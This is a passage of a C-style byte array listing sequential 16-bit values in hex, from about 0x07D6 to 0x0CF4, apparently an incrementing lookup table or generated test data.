0x07, 0xD6, 0x07, 0xD7, 0x07, 0xD8, 0x07, + 0xD9, 0x07, 0xDA, 0x07, 0xDB, 0x07, 0xDC, 0x07, + 0xDD, 0x07, 0xDE, 0x07, 0xDF, 0x07, 0xE0, 0x07, + 0xE1, 0x07, 0xE2, 0x07, 0xE3, 0x07, 0xE4, 0x07, + 0xE5, 0x07, 0xE6, 0x07, 0xE7, 0x07, 0xE8, 0x07, + 0xE9, 0x07, 0xEA, 0x07, 0xEB, 0x07, 0xEC, 0x07, + 0xED, 0x07, 0xEE, 0x07, 0xEF, 0x07, 0xF0, 0x07, + 0xF1, 0x07, 0xF2, 0x07, 0xF3, 0x07, 0xF4, 0x07, + 0xF5, 0x07, 0xF6, 0x07, 0xF7, 0x07, 0xF8, 0x07, + 0xF9, 0x07, 0xFA, 0x07, 0xFB, 0x07, 0xFC, 0x07, + 0xFD, 0x07, 0xFE, 0x07, 0xFF, 0x08, 0x00, 0x08, + 0x01, 0x08, 0x02, 0x08, 0x03, 0x08, 0x04, 0x08, + 0x05, 0x08, 0x06, 0x08, 0x07, 0x08, 0x08, 0x08, + 0x09, 0x08, 0x0A, 0x08, 0x0B, 0x08, 0x0C, 0x08, + 0x0D, 0x08, 0x0E, 0x08, 0x0F, 0x08, 0x10, 0x08, + 0x11, 0x08, 0x12, 0x08, 0x13, 0x08, 0x14, 0x08, + 0x15, 0x08, 0x16, 0x08, 0x17, 0x08, 0x18, 0x08, + 0x19, 0x08, 0x1A, 0x08, 0x1B, 0x08, 0x1C, 0x08, + 0x1D, 0x08, 0x1E, 0x08, 0x1F, 0x08, 0x20, 0x08, + 0x21, 0x08, 0x22, 0x08, 0x23, 0x08, 0x24, 0x08, + 0x25, 0x08, 0x26, 0x08, 0x27, 0x08, 0x28, 0x08, + 0x29, 0x08, 0x2A, 0x08, 0x2B, 0x08, 0x2C, 0x08, + 0x2D, 0x08, 0x2E, 0x08, 0x2F, 0x08, 0x30, 0x08, + 0x31, 0x08, 0x32, 0x08, 0x33, 0x08, 0x34, 0x08, + 0x35, 0x08, 0x36, 0x08, 0x37, 0x08, 0x38, 0x08, + 0x39, 0x08, 0x3A, 0x08, 0x3B, 0x08, 0x3C, 0x08, + 0x3D, 0x08, 0x3E, 0x08, 0x3F, 0x08, 0x40, 0x08, + 0x41, 0x08, 0x42, 0x08, 0x43, 0x08, 0x44, 0x08, + 0x45, 0x08, 0x46, 0x08, 0x47, 0x08, 0x48, 0x08, + 0x49, 0x08, 0x4A, 0x08, 0x4B, 0x08, 0x4C, 0x08, + 0x4D, 0x08, 0x4E, 0x08, 0x4F, 0x08, 0x50, 0x08, + 0x51, 0x08, 0x52, 0x08, 0x53, 0x08, 0x54, 0x08, + 0x55, 0x08, 0x56, 0x08, 0x57, 0x08, 0x58, 0x08, + 0x59, 0x08, 0x5A, 0x08, 0x5B, 0x08, 0x5C, 0x08, + 0x5D, 0x08, 0x5E, 0x08, 0x5F, 0x08, 0x60, 0x08, + 0x61, 0x08, 0x62, 0x08, 0x63, 0x08, 0x64, 0x08, + 0x65, 0x08, 0x66, 0x08, 0x67, 0x08, 0x68, 0x08, + 0x69, 0x08, 0x6A, 0x08, 0x6B, 0x08, 0x6C, 0x08, + 0x6D, 0x08, 0x6E, 0x08, 0x6F, 0x08, 0x70, 0x08, + 0x71, 0x08, 0x72, 0x08, 0x73, 0x08, 0x74, 0x08, + 0x75, 0x08, 0x76, 0x08, 0x77, 0x08, 0x78, 0x08, + 0x79, 0x08, 0x7A, 0x08, 0x7B, 0x08, 0x7C, 0x08, + 0x7D, 0x08, 0x7E, 0x08, 0x7F, 0x08, 0x80, 0x08, + 0x81, 0x08, 0x82, 0x08, 0x83, 0x08, 0x84, 0x08, + 0x85, 0x08, 0x86, 0x08, 0x87, 0x08, 0x88, 0x08, + 0x89, 0x08, 0x8A, 0x08, 0x8B, 0x08, 0x8C, 0x08, + 0x8D, 0x08, 0x8E, 0x08, 0x8F, 0x08, 0x90, 0x08, + 0x91, 0x08, 0x92, 0x08, 0x93, 0x08, 0x94, 0x08, + 0x95, 0x08, 0x96, 0x08, 0x97, 0x08, 0x98, 0x08, + 0x99, 0x08, 0x9A, 0x08, 0x9B, 0x08, 0x9C, 0x08, + 0x9D, 0x08, 0x9E, 0x08, 0x9F, 0x08, 0xA0, 0x08, + 0xA1, 0x08, 0xA2, 0x08, 0xA3, 0x08, 0xA4, 0x08, + 0xA5, 0x08, 0xA6, 0x08, 0xA7, 0x08, 0xA8, 0x08, + 0xA9, 0x08, 0xAA, 0x08, 0xAB, 0x08, 0xAC, 0x08, + 0xAD, 0x08, 0xAE, 0x08, 0xAF, 0x08, 0xB0, 0x08, + 0xB1, 0x08, 0xB2, 0x08, 0xB3, 0x08, 0xB4, 0x08, + 0xB5, 0x08, 0xB6, 0x08, 0xB7, 0x08, 0xB8, 0x08, + 0xB9, 0x08, 0xBA, 0x08, 0xBB, 0x08, 0xBC, 0x08, + 0xBD, 0x08, 0xBE, 0x08, 0xBF, 0x08, 0xC0, 0x08, + 0xC1, 0x08, 0xC2, 0x08, 0xC3, 0x08, 0xC4, 0x08, + 0xC5, 0x08, 0xC6, 0x08, 0xC7, 0x08, 0xC8, 0x08, + 0xC9, 0x08, 0xCA, 0x08, 0xCB, 0x08, 0xCC, 0x08, + 0xCD, 0x08, 0xCE, 0x08, 0xCF, 0x08, 0xD0, 0x08, + 0xD1, 0x08, 0xD2, 0x08, 0xD3, 0x08, 0xD4, 0x08, + 0xD5, 0x08, 0xD6, 0x08, 0xD7, 0x08, 0xD8, 0x08, + 0xD9, 0x08, 0xDA, 0x08, 0xDB, 0x08, 0xDC, 0x08, + 0xDD, 0x08, 0xDE, 0x08, 0xDF, 0x08, 0xE0, 0x08, + 0xE1, 0x08, 0xE2, 0x08, 0xE3, 0x08, 0xE4, 0x08, + 0xE5, 0x08, 0xE6, 0x08, 0xE7, 0x08, 0xE8, 0x08, + 0xE9, 0x08, 0xEA, 0x08, 0xEB, 0x08, 0xEC, 0x08, + 0xED, 0x08, 0xEE, 0x08, 0xEF, 0x08, 0xF0, 0x08, + 0xF1, 0x08, 0xF2, 0x08, 0xF3, 0x08, 0xF4, 0x08, + 0xF5, 0x08, 0xF6, 0x08, 0xF7, 0x08, 0xF8, 0x08, + 0xF9, 0x08, 0xFA, 0x08, 0xFB, 0x08, 0xFC, 0x08, + 0xFD, 0x08, 0xFE, 0x08, 0xFF, 0x09, 0x00, 0x09, + 0x01, 0x09, 0x02, 0x09, 0x03, 0x09, 0x04, 0x09, + 0x05, 0x09, 0x06, 0x09, 0x07, 0x09, 0x08, 0x09, + 0x09, 0x09, 0x0A, 0x09, 0x0B, 0x09, 0x0C, 0x09, + 0x0D, 0x09, 0x0E, 0x09, 0x0F, 0x09, 0x10, 0x09, + 0x11, 0x09, 0x12, 0x09, 0x13, 0x09, 0x14, 0x09, + 0x15, 0x09, 0x16, 0x09, 0x17, 0x09, 0x18, 0x09, + 0x19, 0x09, 0x1A, 0x09, 0x1B, 0x09, 0x1C, 0x09, + 0x1D, 0x09, 0x1E, 0x09, 0x1F, 0x09, 0x20, 0x09, + 0x21, 0x09, 0x22, 0x09, 0x23, 0x09, 0x24, 0x09, + 0x25, 0x09, 0x26, 0x09, 0x27, 0x09, 0x28, 0x09, + 0x29, 0x09, 0x2A, 0x09, 0x2B, 0x09, 0x2C, 0x09, + 0x2D, 0x09, 0x2E, 0x09, 0x2F, 0x09, 0x30, 0x09, + 0x31, 0x09, 0x32, 0x09, 0x33, 0x09, 0x34, 0x09, + 0x35, 0x09, 0x36, 0x09, 0x37, 0x09, 0x38, 0x09, + 0x39, 0x09, 0x3A, 0x09, 0x3B, 0x09, 0x3C, 0x09, + 0x3D, 0x09, 0x3E, 0x09, 0x3F, 0x09, 0x40, 0x09, + 0x41, 0x09, 0x42, 0x09, 0x43, 0x09, 0x44, 0x09, + 0x45, 0x09, 0x46, 0x09, 0x47, 0x09, 0x48, 0x09, + 0x49, 0x09, 0x4A, 0x09, 0x4B, 0x09, 0x4C, 0x09, + 0x4D, 0x09, 0x4E, 0x09, 0x4F, 0x09, 0x50, 0x09, + 0x51, 0x09, 0x52, 0x09, 0x53, 0x09, 0x54, 0x09, + 0x55, 0x09, 0x56, 0x09, 0x57, 0x09, 0x58, 0x09, + 0x59, 0x09, 0x5A, 0x09, 0x5B, 0x09, 0x5C, 0x09, + 0x5D, 0x09, 0x5E, 0x09, 0x5F, 0x09, 0x60, 0x09, + 0x61, 0x09, 0x62, 0x09, 0x63, 0x09, 0x64, 0x09, + 0x65, 0x09, 0x66, 0x09, 0x67, 0x09, 0x68, 0x09, + 0x69, 0x09, 0x6A, 0x09, 0x6B, 0x09, 0x6C, 0x09, + 0x6D, 0x09, 0x6E, 0x09, 0x6F, 0x09, 0x70, 0x09, + 0x71, 0x09, 0x72, 0x09, 0x73, 0x09, 0x74, 0x09, + 0x75, 0x09, 0x76, 0x09, 0x77, 0x09, 0x78, 0x09, + 0x79, 0x09, 0x7A, 0x09, 0x7B, 0x09, 0x7C, 0x09, + 0x7D, 0x09, 0x7E, 0x09, 0x7F, 0x09, 0x80, 0x09, + 0x81, 0x09, 0x82, 0x09, 0x83, 0x09, 0x84, 0x09, + 0x85, 0x09, 0x86, 0x09, 0x87, 0x09, 0x88, 0x09, + 0x89, 0x09, 0x8A, 0x09, 0x8B, 0x09, 0x8C, 0x09, + 0x8D, 0x09, 0x8E, 0x09, 0x8F, 0x09, 0x90, 0x09, + 0x91, 0x09, 0x92, 0x09, 0x93, 0x09, 0x94, 0x09, + 0x95, 0x09, 0x96, 0x09, 0x97, 0x09, 0x98, 0x09, + 0x99, 0x09, 0x9A, 0x09, 0x9B, 0x09, 0x9C, 0x09, + 0x9D, 0x09, 0x9E, 0x09, 0x9F, 0x09, 0xA0, 0x09, + 0xA1, 0x09, 0xA2, 0x09, 0xA3, 0x09, 0xA4, 0x09, + 0xA5, 0x09, 0xA6, 0x09, 0xA7, 0x09, 0xA8, 0x09, + 0xA9, 0x09, 0xAA, 0x09, 0xAB, 0x09, 0xAC, 0x09, + 0xAD, 0x09, 0xAE, 0x09, 0xAF, 0x09, 0xB0, 0x09, + 0xB1, 0x09, 0xB2, 0x09, 0xB3, 0x09, 0xB4, 0x09, + 0xB5, 0x09, 0xB6, 0x09, 0xB7, 0x09, 0xB8, 0x09, + 0xB9, 0x09, 0xBA, 0x09, 0xBB, 0x09, 0xBC, 0x09, + 0xBD, 0x09, 0xBE, 0x09, 0xBF, 0x09, 0xC0, 0x09, + 0xC1, 0x09, 0xC2, 0x09, 0xC3, 0x09, 0xC4, 0x09, + 0xC5, 0x09, 0xC6, 0x09, 0xC7, 0x09, 0xC8, 0x09, + 0xC9, 0x09, 0xCA, 0x09, 0xCB, 0x09, 0xCC, 0x09, + 0xCD, 0x09, 0xCE, 0x09, 0xCF, 0x09, 0xD0, 0x09, + 0xD1, 0x09, 0xD2, 0x09, 0xD3, 0x09, 0xD4, 0x09, + 0xD5, 0x09, 0xD6, 0x09, 0xD7, 0x09, 0xD8, 0x09, + 0xD9, 0x09, 0xDA, 0x09, 0xDB, 0x09, 0xDC, 0x09, + 0xDD, 0x09, 0xDE, 0x09, 0xDF, 0x09, 0xE0, 0x09, + 0xE1, 0x09, 0xE2, 0x09, 0xE3, 0x09, 0xE4, 0x09, + 0xE5, 0x09, 0xE6, 0x09, 0xE7, 0x09, 0xE8, 0x09, + 0xE9, 0x09, 0xEA, 0x09, 0xEB, 0x09, 0xEC, 0x09, + 0xED, 0x09, 0xEE, 0x09, 0xEF, 0x09, 0xF0, 0x09, + 0xF1, 0x09, 0xF2, 0x09, 0xF3, 0x09, 0xF4, 0x09, + 0xF5, 0x09, 0xF6, 0x09, 0xF7, 0x09, 0xF8, 0x09, + 0xF9, 0x09, 0xFA, 0x09, 0xFB, 0x09, 0xFC, 0x09, + 0xFD, 0x09, 0xFE, 0x09, 0xFF, 0x0A, 0x00, 0x0A, + 0x01, 0x0A, 0x02, 0x0A, 0x03, 0x0A, 0x04, 0x0A, + 0x05, 0x0A, 0x06, 0x0A, 0x07, 0x0A, 0x08, 0x0A, + 0x09, 0x0A, 0x0A, 0x0A, 0x0B, 0x0A, 0x0C, 0x0A, + 0x0D, 0x0A, 0x0E, 0x0A, 0x0F, 0x0A, 0x10, 0x0A, + 0x11, 0x0A, 0x12, 0x0A, 0x13, 0x0A, 0x14, 0x0A, + 0x15, 0x0A, 0x16, 0x0A, 0x17, 0x0A, 0x18, 0x0A, + 0x19, 0x0A, 0x1A, 0x0A, 0x1B, 0x0A, 0x1C, 0x0A, + 0x1D, 0x0A, 0x1E, 0x0A, 0x1F, 0x0A, 0x20, 0x0A, + 0x21, 0x0A, 0x22, 0x0A, 0x23, 0x0A, 0x24, 0x0A, + 0x25, 0x0A, 0x26, 0x0A, 0x27, 0x0A, 0x28, 0x0A, + 0x29, 0x0A, 0x2A, 0x0A, 0x2B, 0x0A, 0x2C, 0x0A, + 0x2D, 0x0A, 0x2E, 0x0A, 0x2F, 0x0A, 0x30, 0x0A, + 0x31, 0x0A, 0x32, 0x0A, 0x33, 0x0A, 0x34, 0x0A, + 0x35, 0x0A, 0x36, 0x0A, 0x37, 0x0A, 0x38, 0x0A, + 0x39, 0x0A, 0x3A, 0x0A, 0x3B, 0x0A, 0x3C, 0x0A, + 0x3D, 0x0A, 0x3E, 0x0A, 0x3F, 0x0A, 0x40, 0x0A, + 0x41, 0x0A, 0x42, 0x0A, 0x43, 0x0A, 0x44, 0x0A, + 0x45, 0x0A, 0x46, 0x0A, 0x47, 0x0A, 0x48, 0x0A, + 0x49, 0x0A, 0x4A, 0x0A, 0x4B, 0x0A, 0x4C, 0x0A, + 0x4D, 0x0A, 0x4E, 0x0A, 0x4F, 0x0A, 0x50, 0x0A, + 0x51, 0x0A, 0x52, 0x0A, 0x53, 0x0A, 0x54, 0x0A, + 0x55, 0x0A, 0x56, 0x0A, 0x57, 0x0A, 0x58, 0x0A, + 0x59, 0x0A, 0x5A, 0x0A, 0x5B, 0x0A, 0x5C, 0x0A, + 0x5D, 0x0A, 0x5E, 0x0A, 0x5F, 0x0A, 0x60, 0x0A, + 0x61, 0x0A, 0x62, 0x0A, 0x63, 0x0A, 0x64, 0x0A, + 0x65, 0x0A, 0x66, 0x0A, 0x67, 0x0A, 0x68, 0x0A, + 0x69, 0x0A, 0x6A, 0x0A, 0x6B, 0x0A, 0x6C, 0x0A, + 0x6D, 0x0A, 0x6E, 0x0A, 0x6F, 0x0A, 0x70, 0x0A, + 0x71, 0x0A, 0x72, 0x0A, 0x73, 0x0A, 0x74, 0x0A, + 0x75, 0x0A, 0x76, 0x0A, 0x77, 0x0A, 0x78, 0x0A, + 0x79, 0x0A, 0x7A, 0x0A, 0x7B, 0x0A, 0x7C, 0x0A, + 0x7D, 0x0A, 0x7E, 0x0A, 0x7F, 0x0A, 0x80, 0x0A, + 0x81, 0x0A, 0x82, 0x0A, 0x83, 0x0A, 0x84, 0x0A, + 0x85, 0x0A, 0x86, 0x0A, 0x87, 0x0A, 0x88, 0x0A, + 0x89, 0x0A, 0x8A, 0x0A, 0x8B, 0x0A, 0x8C, 0x0A, + 0x8D, 0x0A, 0x8E, 0x0A, 0x8F, 0x0A, 0x90, 0x0A, + 0x91, 0x0A, 0x92, 0x0A, 0x93, 0x0A, 0x94, 0x0A, + 0x95, 0x0A, 0x96, 0x0A, 0x97, 0x0A, 0x98, 0x0A, + 0x99, 0x0A, 0x9A, 0x0A, 0x9B, 0x0A, 0x9C, 0x0A, + 0x9D, 0x0A, 0x9E, 0x0A, 0x9F, 0x0A, 0xA0, 0x0A, + 0xA1, 0x0A, 0xA2, 0x0A, 0xA3, 0x0A, 0xA4, 0x0A, + 0xA5, 0x0A, 0xA6, 0x0A, 0xA7, 0x0A, 0xA8, 0x0A, + 0xA9, 0x0A, 0xAA, 0x0A, 0xAB, 0x0A, 0xAC, 0x0A, + 0xAD, 0x0A, 0xAE, 0x0A, 0xAF, 0x0A, 0xB0, 0x0A, + 0xB1, 0x0A, 0xB2, 0x0A, 0xB3, 0x0A, 0xB4, 0x0A, + 0xB5, 0x0A, 0xB6, 0x0A, 0xB7, 0x0A, 0xB8, 0x0A, + 0xB9, 0x0A, 0xBA, 0x0A, 0xBB, 0x0A, 0xBC, 0x0A, + 0xBD, 0x0A, 0xBE, 0x0A, 0xBF, 0x0A, 0xC0, 0x0A, + 0xC1, 0x0A, 0xC2, 0x0A, 0xC3, 0x0A, 0xC4, 0x0A, + 0xC5, 0x0A, 0xC6, 0x0A, 0xC7, 0x0A, 0xC8, 0x0A, + 0xC9, 0x0A, 0xCA, 0x0A, 0xCB, 0x0A, 0xCC, 0x0A, + 0xCD, 0x0A, 0xCE, 0x0A, 0xCF, 0x0A, 0xD0, 0x0A, + 0xD1, 0x0A, 0xD2, 0x0A, 0xD3, 0x0A, 0xD4, 0x0A, + 0xD5, 0x0A, 0xD6, 0x0A, 0xD7, 0x0A, 0xD8, 0x0A, + 0xD9, 0x0A, 0xDA, 0x0A, 0xDB, 0x0A, 0xDC, 0x0A, + 0xDD, 0x0A, 0xDE, 0x0A, 0xDF, 0x0A, 0xE0, 0x0A, + 0xE1, 0x0A, 0xE2, 0x0A, 0xE3, 0x0A, 0xE4, 0x0A, + 0xE5, 0x0A, 0xE6, 0x0A, 0xE7, 0x0A, 0xE8, 0x0A, + 0xE9, 0x0A, 0xEA, 0x0A, 0xEB, 0x0A, 0xEC, 0x0A, + 0xED, 0x0A, 0xEE, 0x0A, 0xEF, 0x0A, 0xF0, 0x0A, + 0xF1, 0x0A, 0xF2, 0x0A, 0xF3, 0x0A, 0xF4, 0x0A, + 0xF5, 0x0A, 0xF6, 0x0A, 0xF7, 0x0A, 0xF8, 0x0A, + 0xF9, 0x0A, 0xFA, 0x0A, 0xFB, 0x0A, 0xFC, 0x0A, + 0xFD, 0x0A, 0xFE, 0x0A, 0xFF, 0x0B, 0x00, 0x0B, + 0x01, 0x0B, 0x02, 0x0B, 0x03, 0x0B, 0x04, 0x0B, + 0x05, 0x0B, 0x06, 0x0B, 0x07, 0x0B, 0x08, 0x0B, + 0x09, 0x0B, 0x0A, 0x0B, 0x0B, 0x0B, 0x0C, 0x0B, + 0x0D, 0x0B, 0x0E, 0x0B, 0x0F, 0x0B, 0x10, 0x0B, + 0x11, 0x0B, 0x12, 0x0B, 0x13, 0x0B, 0x14, 0x0B, + 0x15, 0x0B, 0x16, 0x0B, 0x17, 0x0B, 0x18, 0x0B, + 0x19, 0x0B, 0x1A, 0x0B, 0x1B, 0x0B, 0x1C, 0x0B, + 0x1D, 0x0B, 0x1E, 0x0B, 0x1F, 0x0B, 0x20, 0x0B, + 0x21, 0x0B, 0x22, 0x0B, 0x23, 0x0B, 0x24, 0x0B, + 0x25, 0x0B, 0x26, 0x0B, 0x27, 0x0B, 0x28, 0x0B, + 0x29, 0x0B, 0x2A, 0x0B, 0x2B, 0x0B, 0x2C, 0x0B, + 0x2D, 0x0B, 0x2E, 0x0B, 0x2F, 0x0B, 0x30, 0x0B, + 0x31, 0x0B, 0x32, 0x0B, 0x33, 0x0B, 0x34, 0x0B, + 0x35, 0x0B, 0x36, 0x0B, 0x37, 0x0B, 0x38, 0x0B, + 0x39, 0x0B, 0x3A, 0x0B, 0x3B, 0x0B, 0x3C, 0x0B, + 0x3D, 0x0B, 0x3E, 0x0B, 0x3F, 0x0B, 0x40, 0x0B, + 0x41, 0x0B, 0x42, 0x0B, 0x43, 0x0B, 0x44, 0x0B, + 0x45, 0x0B, 0x46, 0x0B, 0x47, 0x0B, 0x48, 0x0B, + 0x49, 0x0B, 0x4A, 0x0B, 0x4B, 0x0B, 0x4C, 0x0B, + 0x4D, 0x0B, 0x4E, 0x0B, 0x4F, 0x0B, 0x50, 0x0B, + 0x51, 0x0B, 0x52, 0x0B, 0x53, 0x0B, 0x54, 0x0B, + 0x55, 0x0B, 0x56, 0x0B, 0x57, 0x0B, 0x58, 0x0B, + 0x59, 0x0B, 0x5A, 0x0B, 0x5B, 0x0B, 0x5C, 0x0B, + 0x5D, 0x0B, 0x5E, 0x0B, 0x5F, 0x0B, 0x60, 0x0B, + 0x61, 0x0B, 0x62, 0x0B, 0x63, 0x0B, 0x64, 0x0B, + 0x65, 0x0B, 0x66, 0x0B, 0x67, 0x0B, 0x68, 0x0B, + 0x69, 0x0B, 0x6A, 0x0B, 0x6B, 0x0B, 0x6C, 0x0B, + 0x6D, 0x0B, 0x6E, 0x0B, 0x6F, 0x0B, 0x70, 0x0B, + 0x71, 0x0B, 0x72, 0x0B, 0x73, 0x0B, 0x74, 0x0B, + 0x75, 0x0B, 0x76, 0x0B, 0x77, 0x0B, 0x78, 0x0B, + 0x79, 0x0B, 0x7A, 0x0B, 0x7B, 0x0B, 0x7C, 0x0B, + 0x7D, 0x0B, 0x7E, 0x0B, 0x7F, 0x0B, 0x80, 0x0B, + 0x81, 0x0B, 0x82, 0x0B, 0x83, 0x0B, 0x84, 0x0B, + 0x85, 0x0B, 0x86, 0x0B, 0x87, 0x0B, 0x88, 0x0B, + 0x89, 0x0B, 0x8A, 0x0B, 0x8B, 0x0B, 0x8C, 0x0B, + 0x8D, 0x0B, 0x8E, 0x0B, 0x8F, 0x0B, 0x90, 0x0B, + 0x91, 0x0B, 0x92, 0x0B, 0x93, 0x0B, 0x94, 0x0B, + 0x95, 0x0B, 0x96, 0x0B, 0x97, 0x0B, 0x98, 0x0B, + 0x99, 0x0B, 0x9A, 0x0B, 0x9B, 0x0B, 0x9C, 0x0B, + 0x9D, 0x0B, 0x9E, 0x0B, 0x9F, 0x0B, 0xA0, 0x0B, + 0xA1, 0x0B, 0xA2, 0x0B, 0xA3, 0x0B, 0xA4, 0x0B, + 0xA5, 0x0B, 0xA6, 0x0B, 0xA7, 0x0B, 0xA8, 0x0B, + 0xA9, 0x0B, 0xAA, 0x0B, 0xAB, 0x0B, 0xAC, 0x0B, + 0xAD, 0x0B, 0xAE, 0x0B, 0xAF, 0x0B, 0xB0, 0x0B, + 0xB1, 0x0B, 0xB2, 0x0B, 0xB3, 0x0B, 0xB4, 0x0B, + 0xB5, 0x0B, 0xB6, 0x0B, 0xB7, 0x0B, 0xB8, 0x0B, + 0xB9, 0x0B, 0xBA, 0x0B, 0xBB, 0x0B, 0xBC, 0x0B, + 0xBD, 0x0B, 0xBE, 0x0B, 0xBF, 0x0B, 0xC0, 0x0B, + 0xC1, 0x0B, 0xC2, 0x0B, 0xC3, 0x0B, 0xC4, 0x0B, + 0xC5, 0x0B, 0xC6, 0x0B, 0xC7, 0x0B, 0xC8, 0x0B, + 0xC9, 0x0B, 0xCA, 0x0B, 0xCB, 0x0B, 0xCC, 0x0B, + 0xCD, 0x0B, 0xCE, 0x0B, 0xCF, 0x0B, 0xD0, 0x0B, + 0xD1, 0x0B, 0xD2, 0x0B, 0xD3, 0x0B, 0xD4, 0x0B, + 0xD5, 0x0B, 0xD6, 0x0B, 0xD7, 0x0B, 0xD8, 0x0B, + 0xD9, 0x0B, 0xDA, 0x0B, 0xDB, 0x0B, 0xDC, 0x0B, + 0xDD, 0x0B, 0xDE, 0x0B, 0xDF, 0x0B, 0xE0, 0x0B, + 0xE1, 0x0B, 0xE2, 0x0B, 0xE3, 0x0B, 0xE4, 0x0B, + 0xE5, 0x0B, 0xE6, 0x0B, 0xE7, 0x0B, 0xE8, 0x0B, + 0xE9, 0x0B, 0xEA, 0x0B, 0xEB, 0x0B, 0xEC, 0x0B, + 0xED, 0x0B, 0xEE, 0x0B, 0xEF, 0x0B, 0xF0, 0x0B, + 0xF1, 0x0B, 0xF2, 0x0B, 0xF3, 0x0B, 0xF4, 0x0B, + 0xF5, 0x0B, 0xF6, 0x0B, 0xF7, 0x0B, 0xF8, 0x0B, + 0xF9, 0x0B, 0xFA, 0x0B, 0xFB, 0x0B, 0xFC, 0x0B, + 0xFD, 0x0B, 0xFE, 0x0B, 0xFF, 0x0C, 0x00, 0x0C, + 0x01, 0x0C, 0x02, 0x0C, 0x03, 0x0C, 0x04, 0x0C, + 0x05, 0x0C, 0x06, 0x0C, 0x07, 0x0C, 0x08, 0x0C, + 0x09, 0x0C, 0x0A, 0x0C, 0x0B, 0x0C, 0x0C, 0x0C, + 0x0D, 0x0C, 0x0E, 0x0C, 0x0F, 0x0C, 0x10, 0x0C, + 0x11, 0x0C, 0x12, 0x0C, 0x13, 0x0C, 0x14, 0x0C, + 0x15, 0x0C, 0x16, 0x0C, 0x17, 0x0C, 0x18, 0x0C, + 0x19, 0x0C, 0x1A, 0x0C, 0x1B, 0x0C, 0x1C, 0x0C, + 0x1D, 0x0C, 0x1E, 0x0C, 0x1F, 0x0C, 0x20, 0x0C, + 0x21, 0x0C, 0x22, 0x0C, 0x23, 0x0C, 0x24, 0x0C, + 0x25, 0x0C, 0x26, 0x0C, 0x27, 0x0C, 0x28, 0x0C, + 0x29, 0x0C, 0x2A, 0x0C, 0x2B, 0x0C, 0x2C, 0x0C, + 0x2D, 0x0C, 0x2E, 0x0C, 0x2F, 0x0C, 0x30, 0x0C, + 0x31, 0x0C, 0x32, 0x0C, 0x33, 0x0C, 0x34, 0x0C, + 0x35, 0x0C, 0x36, 0x0C, 0x37, 0x0C, 0x38, 0x0C, + 0x39, 0x0C, 0x3A, 0x0C, 0x3B, 0x0C, 0x3C, 0x0C, + 0x3D, 0x0C, 0x3E, 0x0C, 0x3F, 0x0C, 0x40, 0x0C, + 0x41, 0x0C, 0x42, 0x0C, 0x43, 0x0C, 0x44, 0x0C, + 0x45, 0x0C, 0x46, 0x0C, 0x47, 0x0C, 0x48, 0x0C, + 0x49, 0x0C, 0x4A, 0x0C, 0x4B, 0x0C, 0x4C, 0x0C, + 0x4D, 0x0C, 0x4E, 0x0C, 0x4F, 0x0C, 0x50, 0x0C, + 0x51, 0x0C, 0x52, 0x0C, 0x53, 0x0C, 0x54, 0x0C, + 0x55, 0x0C, 0x56, 0x0C, 0x57, 0x0C, 0x58, 0x0C, + 0x59, 0x0C, 0x5A, 0x0C, 0x5B, 0x0C, 0x5C, 0x0C, + 0x5D, 0x0C, 0x5E, 0x0C, 0x5F, 0x0C, 0x60, 0x0C, + 0x61, 0x0C, 0x62, 0x0C, 0x63, 0x0C, 0x64, 0x0C, + 0x65, 0x0C, 0x66, 0x0C, 0x67, 0x0C, 0x68, 0x0C, + 0x69, 0x0C, 0x6A, 0x0C, 0x6B, 0x0C, 0x6C, 0x0C, + 0x6D, 0x0C, 0x6E, 0x0C, 0x6F, 0x0C, 0x70, 0x0C, + 0x71, 0x0C, 0x72, 0x0C, 0x73, 0x0C, 0x74, 0x0C, + 0x75, 0x0C, 0x76, 0x0C, 0x77, 0x0C, 0x78, 0x0C, + 0x79, 0x0C, 0x7A, 0x0C, 0x7B, 0x0C, 0x7C, 0x0C, + 0x7D, 0x0C, 0x7E, 0x0C, 0x7F, 0x0C, 0x80, 0x0C, + 0x81, 0x0C, 0x82, 0x0C, 0x83, 0x0C, 0x84, 0x0C, + 0x85, 0x0C, 0x86, 0x0C, 0x87, 0x0C, 0x88, 0x0C, + 0x89, 0x0C, 0x8A, 0x0C, 0x8B, 0x0C, 0x8C, 0x0C, + 0x8D, 0x0C, 0x8E, 0x0C, 0x8F, 0x0C, 0x90, 0x0C, + 0x91, 0x0C, 0x92, 0x0C, 0x93, 0x0C, 0x94, 0x0C, + 0x95, 0x0C, 0x96, 0x0C, 0x97, 0x0C, 0x98, 0x0C, + 0x99, 0x0C, 0x9A, 0x0C, 0x9B, 0x0C, 0x9C, 0x0C, + 0x9D, 0x0C, 0x9E, 0x0C, 0x9F, 0x0C, 0xA0, 0x0C, + 0xA1, 0x0C, 0xA2, 0x0C, 0xA3, 0x0C, 0xA4, 0x0C, + 0xA5, 0x0C, 0xA6, 0x0C, 0xA7, 0x0C, 0xA8, 0x0C, + 0xA9, 0x0C, 0xAA, 0x0C, 0xAB, 0x0C, 0xAC, 0x0C, + 0xAD, 0x0C, 0xAE, 0x0C, 0xAF, 0x0C, 0xB0, 0x0C, + 0xB1, 0x0C, 0xB2, 0x0C, 0xB3, 0x0C, 0xB4, 0x0C, + 0xB5, 0x0C, 0xB6, 0x0C, 0xB7, 0x0C, 0xB8, 0x0C, + 0xB9, 0x0C, 0xBA, 0x0C, 0xBB, 0x0C, 0xBC, 0x0C, + 0xBD, 0x0C, 0xBE, 0x0C, 0xBF, 0x0C, 0xC0, 0x0C, + 0xC1, 0x0C, 0xC2, 0x0C, 0xC3, 0x0C, 0xC4, 0x0C, + 0xC5, 0x0C, 0xC6, 0x0C, 0xC7, 0x0C, 0xC8, 0x0C, + 0xC9, 0x0C, 0xCA, 0x0C, 0xCB, 0x0C, 0xCC, 0x0C, + 0xCD, 0x0C, 0xCE, 0x0C, 0xCF, 0x0C, 0xD0, 0x0C, + 0xD1, 0x0C, 0xD2, 0x0C, 0xD3, 0x0C, 0xD4, 0x0C, + 0xD5, 0x0C, 0xD6, 0x0C, 0xD7, 0x0C, 0xD8, 0x0C, + 0xD9, 0x0C, 0xDA, 0x0C, 0xDB, 0x0C, 0xDC, 0x0C, + 0xDD, 0x0C, 0xDE, 0x0C, 0xDF, 0x0C, 0xE0, 0x0C, + 0xE1, 0x0C, 0xE2, 0x0C, 0xE3, 0x0C, 0xE4, 0x0C, + 0xE5, 0x0C, 0xE6, 0x0C, 0xE7, 0x0C, 0xE8, 0x0C, + 0xE9, 0x0C, 0xEA, 0x0C, 0xEB, 0x0C, 0xEC, 0x0C, + 0xED, 0x0C, 0xEE, 0x0C, 0xEF, 0x0C, 0xF0, 0x0C, + 0xF1, 0x0C, 0xF2, 0x0C, 0xF3, 0x0C, 0xF4, 